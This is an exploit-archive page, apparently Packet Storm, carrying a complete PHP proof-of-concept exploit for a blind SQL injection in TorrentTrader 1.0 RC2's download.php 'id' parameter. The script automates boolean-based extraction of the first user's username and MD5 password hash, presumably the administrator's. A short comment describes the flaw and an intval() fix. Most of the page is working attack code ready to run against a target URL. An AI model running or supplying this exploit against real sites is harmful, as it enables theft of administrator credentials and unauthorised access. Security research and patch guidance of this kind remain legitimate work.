what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

torrent_exp.php.txt

torrent_exp.php.txt
Posted Sep 9, 2004
Authored by aCiDBiTS

Proof of concept PHP exploit that makes use of a SQL injection vulnerability in TorrentTrader version 1.0 RC2.

tags | exploit, php, sql injection, proof of concept
SHA-256 | 9dce80108f836bd4eddb0de491a4df30d5452b7e1a68e5c6138b0452f93c7280

torrent_exp.php.txt

Change Mirror Download
Usage:
/$ php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"/

#!/usr/bin/php

<?

/*

TorrentTrader 1.0 RC2 SQL Injection Proof of Concept
By aCiDBiTS acidbits@hotmail.com 31-August-2004

"TorrentTrader (http://www.torrenttrader.com/) is a feature
packed and
highly customisable open-source BitTorrent tracker."

This PoC dumps the username and password's md5 hash of first user in
TorrentTrader web application database, that should be the administrator.
First it fetchs a valid torrent id, then it determines if database's user
can perform "union select" and finally obtains the username and
md5(password). Tested on TorrentTrader 1.0 RC2, maybe older versions also
vulnerable.

Usage (in my debian box):
php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"


++ Vulnerability description & workaround++

There is no user input sanization for parameter "id" in
download.php prior
beeing used in a SQL query. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code. A workaround to solve this is to modify
download.php, line13:

$res = mysql_query("SELECT filename FROM torrents WHERE id = $id");

With:

$res = mysql_query("SELECT filename FROM torrents WHERE id =
".intval($id));


*/


echo "+----------------------------------------------------------+\n|
TorrentTrader 1.0 RC2 SQL Injection Proof of Concept |\n| By aCiDBiTS
acidbits@hotmail.com 31-August-2004
|\n+----------------------------------------------------------+\n\n";


if($argc<2) die("Usage: ".$argv[0]." URL_to_TorrentTrader_script\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "[+] Getting valid torrent id ... ";
$webc=get_web($host);
$temp=explode("torrents-details.php?id=",$webc);
$id=intval($temp[1]);
if( !$id ) die( "Failed!\n\n");
echo "OK\n Using Torrent id: $id\n\n";

echo "[+] Checking if injection is possible ... ";
$bas=$id."%20and%200%20union%20select%201%20from%20users%20where%20";
if( test_cond( $bas."1" ) && !test_cond( $bas."0" ) ) echo " OK\n\n"; else
die ("\n\n Failed! \n\n");

echo "[+] Getting username & password ... \n Username: ";
get_field( "username");
echo "\n MD5(Password): ";
get_field( "password" );

die("\n\n \ / \ /\n (Oo) Done! (oO)\n //||\\\\
//||\\\\\n\n");


function test_cond( $cond )
{
global $host;
$res=get_web( $host."download.php?id=".$cond);
if( eregi( "The ID has been found on the Database, but the torrent has
gone!", $res ) )
return 1;
else return 0;
}


function get_field( $field )
{
global $bas;
$unval= "
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
$idx=1;
$min=0;
$max=strlen($unval);
while($min!=$max) {
$mid=$min+(($max-$min)/2);
if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1)))
) {
$idx++;
echo substr($unval,$mid,1);
$min=0;
$max=strlen($unval);
if(
!test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))") )
return;
} else {
if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1)))
) $max=$mid;
else $min=$mid;
}
}
die( "\n\nUnexpected error!\n\n");
}


function get_web($url)
{
$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
$data=curl_exec ($ch);
curl_close ($ch);
return $data;
}


/* \ /
(Oo)
//||\\ */

?>

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close